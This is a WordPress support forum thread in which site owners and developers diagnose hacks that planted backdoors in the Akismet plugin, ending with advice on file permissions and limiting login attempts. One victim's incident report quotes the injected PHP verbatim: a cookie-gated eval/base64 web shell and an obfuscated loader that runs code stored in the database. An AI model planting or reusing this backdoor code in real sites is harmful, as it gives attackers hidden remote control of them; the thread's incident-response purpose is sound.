Site hacked through Akismet

Yeah, the “RKH Team” seems to have an exploit that affects WP.

This is so clear. Pay attention to the fact of using akismet (in this module was not activated) to crack. Wen, this module is installed by default. Therefore, it is a global problem.

Alexander –

Please send details to [email protected]

Here’s a copy of the e-mail I sent to security@wordpress, in case it helps anyone diagnose their own issues:

Hi folks, my WordPress install was recently hacked (see here for initial symptoms and another victim: https://www.ads-software.com/support/topic/wp-super-cache-has-broken-my-site-i-need-help-please?replies=4) and based on what I’m seeing in the logs it might be Akismet-related (maybe connected to https://www.ads-software.com/support/topic/site-hacked-through-akismet?replies=4?). My WordPress core is 3.1.3; Akismet and my other plugins are up-to-date as of a week or so ago.

On 3 July, the address 217.23.3.57 made about 15 POSTs to wp-login.php, followed by a number of different GET requests to wp-admin/templates.php. The templates.php requests returned 404s, but they then got a 200 for wp-admin/plugin-editor.php and sent the parameters file=akismet/akismet.php&plugin=akismet/akismet.php.

They then sent a POST to plugin-editor.php, I believe to inject the following code into akismet.php:
if(md5($_COOKIE['1258f0ce88b068e6'])=="948467a3e2a78f5fb4b4ea8934416ca9"){ eval(base64_decode($_POST['file'])); exit; }

There then followed another successful POST directly to wp-content/plugins/akismet/akismet.php, presumably to execute the above code.

While the above code only appears in akismet.php, all plugin files have now been injected with some bootstrap code that loads up a bunch of base64-encoded and obfuscated code from the database:
$z=get_option("_transient_feed_1f198b76a8c316731dd24df4a7f4fd3e"); $z=base64_decode(str_rot13($z)); if(strpos($z,"8F8995B6")!==false){ $_z=create_function("",$z); @$_z(); }

Some of the code chmods everything in the theme and plugin directories to 0777, changes the modification times of all WordPress files to Sep 5 2007, and disables and removes the error logs.

I think that at this point the attackers tripped themselves up, however, because the bootstrap code was injected into wp-cache-phase1.php from the Super Cache plugin. It seems that get_option is not defined yet when that code is executed, so WordPress started returning 500s and the attacker seems to have given up.

I haven’t been able to determine yet how they gained access in the first place, but I’m happy to supply access logs, compromised files, etc. if you’re interested.

Best regards,
Miquel

“but they then got a 200 for wp-admin/plugin-editor.php”

So that looks like the file. If that file had not been compromised first then no other damage could have happened surely?

These kinds of reports should go first and only to [email protected]. P

osting exploit details here won’t get the information into the right hands, and can only serve to facilitate public disclosure of the exploit, potentially allowing others to make use of it.

@mark: I don’t know, I can’t tell if they succeeded in logging in via wp-login or not.

@chip: As I said, I have contacted security@wordpress. What I posted here are only the symptoms of an attack, the damage done. None of this information is really of any use to anyone looking for a vulnerability, only to people who might be seeing similar symptoms and wondering what happened. Moderators are free to delete or censor it if they feel otherwise.

Chip Bennett, Joseph Scott, thank you for your attention to the problem.

Now I’ve found that another site is hacked. Hacking is made of the same commands. General features: domains *.com, version wp3.2, last updated Akismet (to hack the plugin was disabled, was activated after the hack). When hacking, hacker has full access to the file system and, consequently, to the database. Logs removed.

At the moment, I examined the logs of the server. For details send an e-mail [email protected].

Previously done next action to prevent re-cracking: restore the backup sites, replacing all the passwords (account management, FTP, mysql, etc), removed all plugin Akismet.

I suspect what is happening (based on what has happened to others) is that someone breaks into the site via some other method, then injects backdoor code into plugins. The Akismet plugin is a common target for this because it ships with WordPress. So far from what I’ve been able to see and information gathered they aren’t actually breaking in using Akismet, just using it as a convenient place to inject their backdoor code.

Joseph Scott: All true. And the big problem is that Akismet is supplied by default with the system. Even if he is not active, it rarely removes. Technical details of plan to send you e-mail.

Unfortunately if they are still able to break in they’ll just inject the code into a different file.

As Joseph said. It doesn’t matter WHAT the included whatever is. They could have picked ANY file. WordPress’s code is 100% GPL and open to the public. It’s not that Akismet was hacked, it’s that your SERVER was hacked and Akismet was the target. It’s like … Someone broke in your window. Everyone has windows. That doesn’t mean the window is insecure, though it may be, it means your window was a target.

But you can lock your window ?? I would strongly suggest locking down permissions on the wp-content folder. If it’s 777, lock it down. You may have to give up the ability to autoupdate, but IMO it would be worth it.

The files in the repo are fine (I did just go look AND I downloaded a fresh copy).

This is, I am certain, a server issue.

For those interested, in my case the situation appears to be as Joseph has explained — the attacker broke in and then injected some code into akismet to give himself further capabilities. In my look through the logs I’d missed the fact that the final POST to wp-login received a 302 (redirect) response, which seems to indicate a successful login. There was an unexpected user account in my WordPress database, but it’s probable that this was added afterwards rather than beforehand — otherwise they would have logged in on the first try. Since it only took them 15 attempts, I guess they either got lucky or they first compromised this password on another site — it was an old, simple one that I’d never gotten around to changing.

A big thank-you to the WordPress security guys (particularly Otto) for helping me get to the bottom of this and being so helpful.

I’m sure Otto probably suggested this to you, but I would strongly recommend using a Plugin such as Limit Login Attempts or Login Lockdown, to prevent brute-force password attacks. (I prefer Limit Login Attempts, because it provides email notification.)

@chip Thanks very much, I’ll check those out. Unfortunately I hadn’t realised before this that WordPress didn’t limit login attempts out of the box — it’s pretty basic good practice for discouraging brute force attacks so I’ll certainly be installing one of those plugins.